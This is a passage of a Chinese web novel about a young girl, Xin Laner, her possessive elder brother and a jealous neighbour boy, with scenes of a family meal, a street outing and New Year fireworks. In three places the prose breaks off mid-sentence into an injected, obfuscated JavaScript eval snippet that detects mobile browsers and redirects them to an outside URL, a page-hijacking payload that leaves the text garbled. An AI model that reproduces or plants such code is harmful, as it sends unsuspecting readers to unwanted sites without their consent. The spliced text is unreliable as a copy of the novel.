“唔…哥哥。”辛澜儿嘴里含着鱼肉,满脸的欲哭无泪。 “不好吃么?”顾氏看她脸色不甚好,紧张地问。 明雪澜忍笑抬头,眼角余光瞥见砂锅里剩余的人参鸡汤,突然计上心头,给辛澜儿盛了一碗,道:“是不是吃到鱼刺了?快吐出来,喝点鸡汤压一压。” 顾氏大惊,连忙去拍辛澜儿的背:“那快吐出来,快吐出来。” 辛澜儿如获大赦,立刻吐出那块苦涩至极的鱼肉,没有丝毫怀疑地捧起鸡汤,咕咚咕咚的喝了起来。 “……” 比起腥臭的清炖排骨和苦涩的红烧鲤鱼,鸡汤的味道尚且可以忍受,就是里面不知加了什么东西,又咸又甜的。 明雪澜见辛澜儿的表情尚好,就伸头去看她的碗,碗底光溜溜的一滴汤不剩。他简直要怀疑辛澜儿的味觉出了问题。 有那么好喝吗? 又给她盛了一碗。 辛澜儿瞧着鸡汤直发愣,咽了口唾沫,一副视死如归的表情,端起鸡汤就往嘴里倒。 顾氏见她喜欢,觉得自己的厨艺受到了莫大的肯定,把自己那碗人参鸡汤也给了辛澜儿。 辛澜儿就这样一连喝了三碗,把鸡肉和那个长得像树根的配菜全部吃下肚,最后面容呆滞地打了个饱嗝。 忽地,鼻腔里两股暖流倾泻而下,粘腻腻糊了她一嘴。 她伸手摸了摸,指腹上全是鲜红的血,登时大叫一声跳下椅子,捂着鼻子飞奔出门,边跑边撕心裂肺地喊:“爹!爹爹,快救我,我要死了!” 顾氏和明雪澜也吓了一跳,连忙追出去。明雪澜走到半路忽然停下来,一摸人中,果然是血!赶紧仰头捂鼻,喊道:“母亲......” 顾氏回头看,吓得魂飞走一半。她可是老实人,没有下毒啊,顿时慌得不知所措。 明雪澜捂着鼻子到井边,往额头上拍凉水,好不容易才把血止住,一边擦脸一边问:“鸡汤里放了多少人参?” 顾氏绞着手,结结巴巴道:“全...全放进去了,花了我二百多两呢。” “多少?” “二…二百多两。” 明雪澜不停地揉额角。 人参和银子都是大补之物,看来他这是补过头了,要放点血才行。 可不管怎么说那人参也是为他买的,明雪澜不好责怪顾氏,但他趁机让顾氏打消继续给他补身子的念头,顺便把家里的钱都要过来自己管账。 顾氏点头,她知道自己蠢,犯错的时候就特别好说话,跟小丫鬟似的畏畏缩缩的站着,弱弱地伸出食指往门外指:“那澜姐儿呢,咋办?” 明雪澜道:“我去看看,您先用饭罢。” 然而辛家大门大敞,辛澜儿和辛知远都不见了。 原来辛澜儿带着半脸的血跑回家,辛知远在屋里就听见她在鬼哭狼嚎,又听到她喊什么“快死了,快死了......”他嘴里的饭都没嚼完就甩筷子冲出门,在家门口和辛澜儿撞了个满怀。 “流血了!流血了!”辛澜儿捂着鼻子上蹿下跳。 辛知远哪里知道她是因为喝多了顾氏的人参鸡汤,只以为她撞断了鼻子止不住血,赶紧抱起她,一口气跑到济元堂。 方大夫一问便知辛澜儿吃多了补药,给她止血后也就没事了。 辛知远终于放下心,自己鬓角上的汗来不及擦,只蹲在辛澜儿面前,给她用热巾子擦脸擦手,乜着她道:“还馋不馋了?” 辛澜儿眼角还挂着泪,闻言摇摇头,带着哭腔道:“我以后就乖乖和爹爹一起吃馒头咸菜。” 辛知远瞧着她小小的人儿,可怜巴巴的坐在小杌子上,就好像那缩成一团无家可归的小花猫。他忍不住笑了,揉揉她圆乎乎的小脑袋,道:“爹爹这几日忙,没顾得上你,对不住,待会儿带你去醉仙楼吃猪肘子好不好?” 辛澜儿点点头,要等她哭够了才能走。她一边低声抽噎,一边看方大夫用戥子称量药材,突然出声问道:“方爷爷,德叔什么时候回来?我想我哥哥了。” 德叔是方大夫的儿子,也是辛澜儿的好友方飞飞的爹,大名叫方德清,人都叫他“小方大夫”。 辛澜儿的哥哥辛拂游这次就是和方德清一起出门的,说起来已有半年时间,期间一封家书都没有。 方大夫想起这事就生气,冷哼一声道:“不管他们,一个大混子带着一个小混子在外面鬼混,两个人都不正经。我说二郎啊,你当初就不该把那孩子带回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585160|205208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ......” “嗳嗳嗳!”辛知远连忙挥手打断方大夫的话,又飞快地瞟了一眼辛澜儿,见她没什么特别的反应,便站起来道,“您忙吧,我带澜儿回家了。” 方老大夫无奈合上嘴,又不放心的嘱咐道:“这几日吃清淡点。” “知道了。” 辛知远牵着辛澜儿往外走,辛澜儿抬头问:“爹爹,他说的那孩子是谁?” 辛知远道:“你不认识。” 辛澜儿仍要问。辛知远突然指着路边的小摊惊喜道:“澜儿快看,糖葫芦,想不想吃?” 辛澜儿的注意力立刻就被那裹着糖稀在阳光下闪闪发光的糖葫芦给吸引了,一颗颗饱满酸甜的大红山楂看得她口中生津,欢呼雀跃地要爹爹给她买。 能用几文钱堵住女儿喋喋不休的嘴,辛知远觉得这买卖简直太划算了。 这厢明雪澜为了补偿辛澜儿,承诺下个旬休日带她去街上吃美食。 北方的腊月寒风刺骨,天地间一片凄凉的灰白色。再过阵子运河就要结冰,客商在码头指挥家仆整顿货船归家,行人裹紧了衣领,步履匆匆赶向四面八方。 明雪澜从摊贩手里接过一份鸡蛋煎糍粑,糍粑外酥里嫩,表面带有金黄色的脆壳,油煎鸡蛋的香味和浓郁的葱香气混合在一起,让人食指大动。 明雪澜剥开油纸吹了吹,递到辛澜儿嘴边:“还烫着,慢点吃。” 辛澜儿就着他的手,小心翼翼地咬了一口,慢慢地嚼,开心到蹦起来:“好吃!哥哥也吃。” 明雪澜笑道:“你吃罢,我帮你拿着。” 辛澜儿吃了几口,又道:“澜哥哥,我还想去北城门喝一碗羊杂汤。” 明雪澜笑着点头,右手紧接着被辛澜儿自然而然地握住。 辛澜儿似乎不知道男女有别,或许在她眼里明雪澜也只是个孩子,是她的哥哥,仅此而已。 她喜欢牵他的手,又细又嫩,能从那层薄肉下面感受到他修长的手指骨,十指相握的时候特别安心。而他从一开始的不适应,到僵硬了一瞬然后坦然接受,再到如今下意识反握回去,变化之快可能连他自己都没有意识到。 只是今日他刚握住辛澜儿的手,就觉得背上一紧,似乎有暗处的目光在紧盯着他,让他感觉如芒刺背,隐隐的不舒服。 “羊杂汤要趁热喝,凉了就不好喝了,而且汤里一定要放葱花和芫荽。”辛澜儿抱着汤碗咕噜咕噜大快朵颐,喝得鼻尖都冒起了薄汗。 明雪澜不喜欢羊肉的膻味,但看见辛澜儿吃得津津有味,也忍不住想尝尝,但他不能。 唉,这大冷天要是能来上一碗热乎乎的羊杂汤,真是赛过神仙。 “好吃么?”明雪澜问。 “好吃。” “你能吃完么?” “能。” “……那你慢点吃,别呛着。” “哥哥看,”辛澜儿捧着汤碗给他瞧,邀功似的小表情,“我全喝完了。” “嗯,真厉害。”明雪澜笑道。 他从袖中拿出自己的帕子给她擦嘴擦手,这也是一项他已经做习惯的事。 吃完饭,两人手牵手回家。辛澜儿实在吃得太撑了,抱着肚子蹲下来,哼哼唧唧的耍赖不肯走。 明雪澜每到这时候都挺头疼的,幸好今儿天冷,街上行人不多。他便蹲下来道:“上来吧,我背你。” 辛澜儿立马生龙活虎,笑着扑到明雪澜背上,正要抱紧他的脖子,突然有人从背后抓住她的衣领,跟拎一件衣服似的轻而易举就把她扯了下来。 那人一脚踹到明雪澜背上,操着一口不甚好听的公鸭嗓,怒气冲冲地问:“你谁啊?!” 11. 酸溜溜 5 辛澜儿小脸发白,担心遇到了街痞子,颤颤巍巍不敢回头看。 她想去扶明雪澜起来,公鸭嗓看见了,两手掐着她的腋下把她转了个面儿。 “辛澜儿,不认识我了?” “哥…哥哥!”辛澜儿眼中的恐惧消失殆尽,取而代之的是异常兴奋的光芒。她欢呼着抱住公鸭嗓的脖子,兴奋的大叫:“哥哥哥哥,你终于回来了!不过你的声音怎么越来越难听了?我都没认出来。” 辛拂游当场翻了个白眼,脸色难看得要命。 “他是谁?”辛拂游忍着怒气问。 他气死了,他真的快气死了。 他和方德清去两广游历已有半年,担心年关大雪封路,一路紧赶慢赶,终于在今日午时抵达灵清。本想赶快回家见妹妹,然而方德清死命拉住他,要去酒楼搓一顿。 料想家中也不会有热饭留给他吃,辛拂游便跟着德叔去了,然而就在两人吃饱喝足,感叹还是家乡的饭食最是美味的时候,辛拂游冷不丁瞥见街上那抹熟悉的身影。 小女孩梳着漂亮的垂髻,身穿翠绿缎面圆领长袄和杏色百褶裙,小脸蛋被寒风吹得发红,像抹了粉嫩的胭脂,仰头笑的样子却比春天的花还要明媚。 可不就是他日思夜想,活泼可爱的妹妹么? 然而妹妹身旁还跟着一个陌生的少年,脸蛋倒是长得俊,但那两只手一点都不安分! 辛拂游一路紧跟,见那小子小心翼翼地吹凉糍粑给妹妹吃,还看见他牵着妹妹的手肆无忌惮的走在大街上,又看见他拿出贴身手帕给妹妹擦嘴擦脸擦小手。 刚才,那混账小子甚至还想背起他妹妹! 这叫辛拂游如何能忍?妹妹只能是他一人的妹妹,妹妹只能与他牵手,妹妹只能对他一人笑,只能被他周全照顾,连妹妹的嘴巴都只能他一人来擦! 辛拂游越想越生气,眼睛都要冒出火来。所以这个人面兽心不怀好意的小白脸到底是谁! “问你话呢,你谁啊?” 明雪澜从地上爬起来,他的右手掌根被石子擦破了,有猩红的血渗出来。他用帕子擦干净,打掉衣袍上的灰尘,冷眼看向辛拂游。 原来他就是辛澜儿一直念叨的亲哥哥。明雪澜在同龄人里已经算是抽条早的,然而辛拂游似乎比他还要高些,且骨架更大,身材更加壮实,皮肤是健康的小麦色,眼神极具侵略性,两眼一瞪,吓得人直哆嗦。 明雪澜在他身上找不到与辛知远和辛澜儿相似的特征。他们一家三口除了都好看其余哪里都不像。辛知远温柔文雅,辛澜儿面相温婉大气,气质却灵动活泼。 而辛拂游气质冷肃,像妹妹的带刀侍卫,安静的时候尚且有几分贵气,然而一开口,就让人想到在码头赤膊扛沙袋的长工,卖力干了一天,光着膀子大喇喇的蹲在河边,吸溜一口面条再咬口蒜。 明雪澜不接话,辛澜儿就替他说:“他是我的新哥哥,是咱们家对面新搬来的邻居,跟你同岁。” “他是新哥哥,那我是什么?!”辛拂游的邪火蹭蹭往上冒,咬牙使劲摇晃辛澜儿。 “呃…...”辛澜儿眼睛一转,对着哥哥甜甜地笑,“你是、你是好哥哥啊,天底下最好的哥哥。” “哼,就知道哄我。”辛拂游面上不显,心里却十分受用。然而那股欢喜在看到明雪澜后立刻消失得无影无踪。 他指着明雪澜恶狠狠道:“下次再敢碰我妹妹,我剁了你的手!” 辛澜儿知道她哥哥别的地方不行,但言出必行,遂赶紧对辛拂游道:“你不能打他,你要是打他,我、我就打你!” 辛拂游给气笑了:“好哇,我不过离开半年,你胳膊肘就往外拐了。成,等会儿我就把给你带的好东西全扔了!” 说完却紧了紧身上背的大包袱,气冲冲地走了。 辛澜儿眼巴巴地看着哥哥的背影,急得想要去追,又顾及明雪澜刚才被踹了一脚,便没去,关切道:“澜哥哥,你没事罢?我哥哥是个好人,就是脾气不太好,他对谁都是这样,你别放在心上。” 明雪澜知道她心里惦记辛拂游,但就是不想随她的意让她追去,只摇头笑道:“没事,我知道。” “咦?”辛澜儿挠了挠头,“你怎么知道的?” 明雪澜笑道:“秘密。妹妹还想吃什么?” 辛澜儿摇头:“我吃饱了。澜哥哥,咱们回家罢。” 明雪澜默了默才道:“好。” 他故意慢悠悠地走,等她来牵他的手,然而她没有。 明雪澜有一瞬间的怔忡,蜷起手指,缓缓揉搓指腹。 # 顾氏最近受了风寒,明雪澜午间便不在书院膳堂用饭。他拎着两个油纸包从辛家门前经过,看见大门虚掩,院子里传出兄妹俩欢欢喜喜的嬉闹声。 他鬼使神差的停下来,抱手站在门外,透过那条狭小的门缝,静悄悄地看。 辛拂游正对大门,双腿敞开,靠在椅背上晒暖。他竟是笑着的,神色是少见的温柔,任凭妹妹把自己的脸当泥巴捏。 辛澜儿捏够了,把他的头调整到一个合适的角度,转身拿来毛笔,咯咯咯的坏笑。她在辛拂游的额头上画了一只歪歪扭扭的小乌龟,看起来可笑极了。 辛澜儿左看右看,捂着肚子笑得前俯后仰。 “我看看好不好看。”辛拂游把住辛澜儿的后脑勺,与她额头相抵,分开后辛澜儿的额头上也出现了一个灰黑色的小乌龟。 “嗯,还不错。”辛拂游满意道。 辛澜儿呆愣愣的,反应过来后小心地触摸额头,待摸到湿润的墨迹后,她兴奋得几乎要跳起来:“好玩好玩,我和哥哥都有小乌龟啦!” 说完扑到辛拂游身上,搂住他的脖子蹭来蹭去,甜声道:“哥哥,澜儿好想你。” 辛拂游嘴角微微挑起,嘴上却道:“尽说些好听话来哄我,当初是谁对我爱搭不理的?” “那谁让你踢澜哥哥的?”辛澜儿扬起下巴,“再说了,你离家那么久连封信也不写,明明一点都不想念我,那我为何还要理你?” “我又不是故意踢他的。” 一点儿没提写信的事。 辛拂游坐直身子,握住妹妹的胳膊正色道:“你不能见到比你大的男人就喊哥哥,更不能让他们碰你,知道了么?” “可澜哥哥是我哥哥,你也是我哥哥,那为什么你能牵我的手而他却不能牵呢?” “他能和我比么?!”辛拂游的声音登时提高了三倍不止。 辛澜儿可不怕他,叉腰道:“当然不能比咯。你脾气那么差,嗓门那么大,皮肤那么黑。澜哥哥好温柔的,长得好看,笑起来更好看,有两个小梨涡呢,你们怎么比嘛?” “辛、澜、儿!”辛拂游暴跳如雷,“他一个小白脸长得跟娘们儿似的,老子一拳能把他骨头打断你信不信?” 他小时候在街上胡混,长大了跟着方德清出去鬼混,学了不少江湖话,生气的时候一口一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585161|205208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老子:“要是有狗咬你,老子敢冲上去咬狗,他敢吗?难道他要用那两个什么狗屁梨涡把狗吓跑吗?” 辛澜儿被他逗乐了,问:“那哥哥你敢吃狗屎吗?” “敢!怎么不敢......不对,我为什么要吃狗屎?” 辛澜儿笑得直不起腰,冷不丁被口水呛到,一边咳一边笑到流眼泪。 她的笑声太吸引人,辛拂游不自觉也跟着笑,只不过他笑得收敛。 他这会儿也不生气了,只挠了几下她的脸作为小小的惩戒,重坐回椅子上,把她搂进怀里,轻声道:“我才是你哥哥,哥哥和你最亲,知不知道?不要让别人碰你。” “嗯。”辛澜儿搂住哥哥的脖子,脸趴在他肩上。 晌午的阳光洒在他们身上,有乳白色的光晕,柔软又缱绻。辛拂游笑眯着眼睛,一下一下轻拍妹妹的背。 明雪澜冷眼观看,眼睫轻颤,心里有说不出的怪异。 他的直觉一向很准,但这会儿他说不上来哪里怪。 怪道积英巷和芙蓉街的小郎君都只是遥遥的看着辛澜儿,却从不敢上前说一句话,都是因为辛拂游。 可他没道理这样霸道,难道澜儿妹妹以后不嫁人?不生孩子?不行房中之乐?天呐,他想到哪里去了。 明雪澜沉沉吐气,头一次没有敲门就闯进来。 辛拂游猛地睁开眼,弹跳起来,下意识想推开妹妹。他用鹰隼一样锐利的眼神看向来人,见是明雪澜,又很快松懈下来。 “你来干嘛?”他语气不善。 明雪澜径直坐下,饶有意味的看他:“你以为是谁,辛先生么?” 辛拂游听到这话突然生起气来,眉毛倒竖,脸颊隐隐泛红,怒道:“关你什么事,出去!” 明雪澜浅笑。 说中了么? 眼看辛拂游又要冒火,辛澜儿赶紧出来打圆场:“澜哥……明小郎君应该是来找爹爹的,是不是?” 明雪澜的眼睛黑像一团化不开的墨,他勉强扯了扯嘴角说:“是。” “可爹爹晚上才回来,郎君找他有什么事?澜儿能帮忙么?” 明雪澜突然觉得没意思,吐了吐气,扯出一个笑来:“妹妹吃饭了么?我买了腊味蒸饭和豆沙春卷,要不要到我家一起吃?” “要!”辛澜儿爱吃且不挑食,立刻答应下来,突然想起自家哥哥也没有吃饭,澜哥哥为什么不邀请他呢? 她便收起笑容,摇头道:“我下次再去罢,今天我想和我哥哥一起吃。” 辛拂游心里舒爽的不得了,美滋滋地伸懒腰,然后从身上摸出来一块散碎银子,抛到半空中,又挥手抓住,笑道:“腊味蒸饭和豆沙春卷难道很好吃么?澜儿,哥哥带你去吃烤羊排!” “好!太好了,我喜欢吃烤羊排。” 辛拂游心情好,睨着明雪澜道:“你还不走?真把自己当根葱了,要种在我家里?” 明雪澜斜他一眼,脸色有些不耐。 很奇怪,赵洁和辛拂游脾气很像,说话的态度也很像,但明雪澜受得了赵洁,却忍不了辛拂游。 他站起来,同辛澜儿告别:“妹妹吃完来家玩。我母亲很想念你。” “好。” 辛拂游嗤一声,牵起辛澜儿的手往外走。 明雪澜站在桂花树下遥望兄妹俩的背影,听见他们断断续续的说笑声,突然意识到现在是寒风刺骨的冬天。 辛澜儿那天下午也没有来。 12. 酸溜溜 6 腊月下旬,明雪澜不用再去书院,大部分时间都在房里读书写文章。 顾氏不会打搅他,周围总是安静的,一个古怪的想法悄然从心底冒出来,希望那个蹦蹦跳跳的身影突然出现在窗外,笑嘻嘻做鬼脸给他看。 然而那身影没来。自从她哥哥回来后她就再也没来过。有时明雪澜从桂花树下经过,会听到兄妹俩在院子里嬉笑打闹,偶尔也会争执打架,辛澜儿被气得大哭,直骂哥哥是只会欺负小孩的大坏蛋。辛拂游是很欠揍的,不把妹妹逗狠了是不会向她道歉认错的。 她不来,明雪澜也不想主动去找她,更不许顾氏问起她,有赌气的意味在。 他到底算什么?平日里她跟在他屁股后面一口一个澜哥哥,甜腻腻,笑盈盈,把他哄得开心又舒坦。可亲哥哥一回来,她就把他忘到了九霄云外,她只会听她哥哥的话,哥哥决定了她能和谁见面,决定了她能和谁玩耍。 谁在乎呢?反正他不在乎。 他有自己的路要走,考科举,入庙堂,勤恳为民,为王者师。 他日复一日的苦读,从枯燥艰涩的文字里抬起头,陈旧的窗棂框住那一方狭小的天空,或晴或风或雨。 他读了太久的书,眼睛干涩,颈椎酸痛,思绪也并不清明。 他向后撞在椅背上,雕像似的坐了许久,不知沉浸在哪一方天地里。忽然,他站起身,顺手捞起手边书,走出家门。 “有个地方不太明白,还请先生解惑。”明雪澜微笑道。 辛知远很乐意教他:“快来屋里说。” 北方的深冬干燥寒冷,凛风如刀,家家户户门前都挂着厚重的挡风棉被帘子,掀开帘子进去,暖气一下子扑上来,从外到里,暖到心里。 辛家的条件还算好,至少辛澜儿写字的时候能用上取暖的炭火盆。桌上红泥小火炉煮着甘蔗雪梨水,她就坐在正对门的地方,看见明雪澜来很是欣喜,两条腿欢快的扑腾着,赶紧招呼他过来坐。 辛知远也道:“先坐下暖暖身子。澜儿给哥哥倒一碗你的雪梨汤,澜哥儿你先喝着,我去烧水,等会儿咱们煮茶喝。” 明雪澜笑道:“不用麻烦了,我坐会儿就走。” “欸急什么,我这有刚到手的滇红茶,好歹尝一尝。”辛知远说着就掀帘子去了厨房。 辛澜儿盛一碗雪梨汤端给明雪澜:“哥哥喝。” “劳累妹妹。”明雪澜嘴角弯起,轻啜一口,甜滋滋的,小孩子的口味。 “妹妹在练字么?” 辛澜儿点点头,把正在写的那篇字递给他看。 明雪澜接过来,是《诗经》里描写庄姜出嫁时的情形。 “巧笑倩兮,美目盼兮。”他特意挑出这一句,含笑看了片刻,抬头看向辛澜儿,“很符合妹妹。” 辛澜儿耸起一边肩膀,微微歪头,抿着唇,害羞地笑。 动作是羞涩的,眼神却大大方方,双瞳剪水,干净湿润的眼白,漆黑如墨的眼球,顾盼生辉,漩涡似的要把人吸进去。 “这篇《硕人》里有许多笔画复杂的字……”他紧锁她的眼睛,声音低沉又柔和,“哥哥教你,好不好?” “好!”辛澜儿双手合十,很是期待。 明雪澜起身绕到她身后,左臂撑在她左侧的桌面上,右手握住她的小手,脸贴着她的,鬓边的绒发纠缠在一起,能感受到彼此细微的呼吸声和皮肤散发的热气。 他一笔一画教她写“幩”字,在她耳边轻声问:“许久不见妹妹,妹妹都在忙什么?” 正在学习的辛澜儿表情严肃得有点可爱,眼睛专注盯着笔尖,丝毫不敢松懈的样子,却还要分神回他的话:“我每天…嗯…背书练字,然后…哥哥带我上山采药材,挖野菜,掏鸟蛋,下河捕鱼,还有偷摘别人家的冬枣,被狗追着咬屁股。” 她侧头看着明雪澜笑。 明雪澜垂眸对上她的笑眼。 他没做过她说的那些事,不出意外的话,这辈子都不会去做。 “以后不要和他做那些,太危险。你想去哪里玩,我可以陪你。” “可你每天都要去书院,没时间陪我。”辛澜儿道,“我哥哥有时间,他不念书了,在济元堂做德叔的药童,他说以后要做四方游医,悬壶济世。” 明雪澜冷笑出声。他实在想象不出来辛拂游当大夫救人命的样子,他只会把别人打到找大夫救命,还是说他把别人打得半死,然后又怀着医者的慈悲心肠去把人救活? 想想就觉得滑稽可笑。 “至少我最近有时间陪你。”明雪澜重握住辛澜儿的手,引她专心去写字,“腊月三十那天码头有烟火秀,我带你去看好不好?就我们两个人。” “不和爹爹哥哥,还有顾姨一起么?”辛澜儿道。 “嗯,行么?”明雪澜手上的动作放缓。 辛澜儿很是纠结了会儿,最终还是点头同意了。 “澜哥哥只是说我们两个要单独看烟花,可没说不看烟花的时候不能带其他人。”辛澜儿如是想。 这时院子里传来开门声,明雪澜不动声色地松开辛澜儿的手,坐回自己的位子上:“剩下的字比较简单,妹妹自己写罢。” 辛知远拎着茶壶掀帘进来,见辛澜儿同先前一样坐在桌前写字,不禁感到惊奇——他不盯着的时候,这丫头可是很会偷懒的。 趁站起来倒茶的功夫,辛知远偷瞟辛澜儿面前的草纸,那歪歪扭扭的字迹一看就是辛澜儿自己写的,绝无明雪澜代笔的可能,一时间很是欣慰,认为这都是明雪澜的功劳。 心念电转,辛知远笑道:“澜哥儿以后常来家里玩,我儿子游哥儿前阵子回来了。说来惭愧,我教书育人,他却死活不爱读书,我想若是你们在一起,他或许能知道用功。男孩子嘛,总是不甘落于人后的。” 说完又转头去看辛澜儿:“你两个哥哥见过面了吧?” 辛澜儿道:“见过的,哥哥还踹了澜哥哥一脚。” 辛知远一口茶水呛在嘴里,猛咳了几声,边擦嘴边问:“澜哥儿,你、你没事吧?” 明雪澜撩起袖口,露出右手掌根,笑道:“没事,手上的伤已经结痂了。” “......”辛知远闭了闭眼,尴尬极了。他强行缓和了神色,扯出一个不好意思的笑来:“真对不住,那小子经常犯浑,等他回来我就收拾他!” “您又要收拾谁呀?” 辛拂游头戴毡帽,迎着风雪回家来,笑眯眯掀开挡风门帘,那笑容在看到明雪澜后却立刻消失不见。 他摘下棉衣棉帽,不悦地道:“怎么又来了?” 辛知远见他不仅动手打人,说话也莫名其妙带着刺,心里的怒气又上一层,碍于外人在,那是忍了又忍。 明雪澜倒是落落大方地站起来道:“拂游兄,你回来了。” 辛拂游见他笑得跟朵花似的,那两个小梨涡刺眼得很,丝毫没有上次见他时那副冷冰冰的模样。他心里厌恶极了,脱口而出道:“你装什么装,显着你了?” 明雪澜在大人眼里一向是懂事的乖孩子,干净的气质让他看起来愈加温顺。突然被人恶语相向,他的笑容僵在嘴角,惴惴不安地站在那儿,无辜又可怜。 辛知远看得心疼,终于坐不住,咬着牙站起来,一把揪住辛拂游的耳朵往外拖:“你真是不挨打不行了!” 辛拂游捂着耳朵嗷嗷叫。听声音,辛知远好像是先把大门关上了,然后在墙角拿了根棍子。 满院子都是辛拂游的惨叫声,明雪澜慢步走到门边,掀开棉帘一角,却不走出去,只劝道:“先生别打了,我没事的。” “澜哥儿你别管,我今天非收拾他不可。”说着拽住辛拂游的一条胳膊,一棍接一棍往他屁股上打。 辛拂游跟个猴似的夹着屁股满院子乱窜,叫声也像猴,还不忘对明雪澜嚷道:“你少装好人!我不稀罕!” “你还说!”辛知远咬牙接着打。 辛澜儿不知何时跑到了明雪澜身旁,从他腋下露出一张小脸往外看,捂着小嘴笑得幸灾乐祸。 明雪澜低头看了看她,又抬头去看院子里的热闹,嘴角也带上了笑。 # 除夕夜,万家灯火璀璨。明雪澜算好时间去寻辛澜儿,却瞧见辛拂游与她一道出来。 辛拂游抱臂站在辛澜儿身后,扬起下巴,挑眉看明雪澜。那眼神里有不屑,有得意,还有警告,好像在明明白白告诉明雪澜,休想找机会和他妹妹单独相处,趁早死了这条心。 明雪澜也很乖觉,眼神只在辛拂游身上停留一瞬就离开了,故意问辛澜儿:“妹妹不是答应我,只有我们两个人去看烟花么,怎么多了一个人?” 辛拂游听到这话狠狠嗤了一声,眼珠子直往上翻。 好哇,这人跟苍蝇似的见缝就钻,竟敢私底下骗他妹妹出门看烟花,幸好被他及时发现了,不然后果难以预料。 辛澜儿回头看了哥哥一眼,没把他讥笑的样子当回事,转而对明雪澜笑道:“对啊,看烟花的时候只有我们俩,不看烟花的时候咱们三个一起玩。” 她竟是这样理解的? 明雪澜张了张嘴,欲言又止。 他其实是一个以和为贵的人。为了获得人脉或达到目的,即便他人态度恶劣,他也会想方设法缓和关系,用他那张人畜无害的俏脸和温良恭俭让的态度,譬如他对赵洁。 而辛拂游对人一眼定生死,不会轻易被明雪澜的言行迷惑,且认定明雪澜擅长卖乖,是个非常虚伪的人。 明雪澜对此深知。他还没有温顺到把自尊捧给别人践踏,何况那个“别人”是辛拂游,一个刚见面就踹他一脚,从头到尾都对他没有好脸色的人。 是以明雪澜准备了许多嘲弄辛拂游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585162|205208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厚脸皮跟来的话,然而整件事被辛澜儿神奇的脑子过了一遍,那些话只能团成一团堵在喉咙里了。 三人往巷子外面走,明雪澜落后兄妹俩几步。辛澜儿注意到了,回身想去拉他,然而手刚伸出去就被辛拂游一把扯回来,并收到了一个充满警告意味的眼神,她便不敢再动,因为知道哥哥脾气差,所以没事少惹他。 就这样一路走到码头。 紧挨码头的那条街叫走马道,街道宽阔,平日里拉人运货,车马不辍。因今夜是除夕,走马道比以往更热闹。街上不仅人潮汹涌,还有杂技百戏、说书唱曲、社火表演、射弩套圈,舞龙舞狮,热闹非凡。 辛拂游牵着辛澜儿的手,在繁杂的人流里左拐右拐,有心要甩掉明雪澜。 明雪澜则一声不吭的跟在兄妹俩后面,旁人看见绝不会想到这仨人原是一起出门的。 要说辛拂游也是个奇人,说是来陪辛澜儿看烟花,结果他的玩兴比谁都大,一路好奇张望,摸狗逗鸟,跟笼子里的鹦鹉吵架,看猴子走钢丝,给吞刀吐火的杂技人鼓掌欢呼,两眼放光,兴致勃勃。 辛澜儿说了好几次要去平安桥那边占个好位置看烟花,他说不急不急,傻子才去那么早,干等着尽受冻。 辛澜儿撅着嘴不高兴,心里又惦记着明雪澜,一步三回头瞧他有没有跟上来,生怕明雪澜因为她哥哥的缘故不搭理她了。 这厢辛拂游终于肯停下脚步,他迷上了套圈,五个铜板不够玩就再来五个。辛澜儿可不喜欢套圈游戏,转身跑到明雪澜身边,捏住他的袖子一角,仰头对他笑。 明雪澜也对她笑笑,往平安桥那边扬了扬下巴,笑问:“现在去不去?” 辛澜儿回头看了眼自家哥哥,他正在因为连套好几次不中和小贩吵架呢。其实也不算吵架,只是辛拂游嗓门大,气势足,看着像没事找事砸摊子的坏痞子,引来一帮看热闹的人围观。 辛澜儿顿时打消了要和他说一声的念头,对明雪澜说快走。 两人并肩走在运河边,前面不远就是平安桥,桥上缀满花灯彩带,桥下停着一艘硕大的两层花船,甲板上堆满了五彩缤纷的花束,有人高举火把登上二楼船顶。要准备点烟火了。 人群呈蜂窝状向平安桥聚集,运河边陡然变得拥挤。明雪澜握紧辛澜儿的手,右胳膊虚揽她的肩膀,侧身拥着她躲避行人,两人加快脚步往平安桥赶去,总算占了个桥中间的好位置。 “澜儿过来。”他的双手撑在栏杆上,把她护在自己和桥栏中间。 然而辛澜儿的身高实在追不上她的年龄,她稍微动一动就会突然亲上冰冷的石桥。 她不喜欢这种异样的触碰,拍拍嘴巴,回头扯明雪澜的袖子,指着桥栏说:“澜哥哥,我这样站着不舒服。” 明雪澜会错了意,看看四周,犹豫几息才抱起她,让她坐在自己胳膊上,是大人抱小孩子的姿势,只不过他身量单薄,抱得颇为吃力。 辛澜儿在他的臂弯里摇摇欲坠,怕掉下去,倾身扶着桥栏,笑道:“不是这样的。我想坐在这上面。” “哦哦……” 明雪澜把她抱到桥栏上坐着,脸已然红透了,幸好夜色遮盖,让他看起来仍像素日那样波澜不惊。 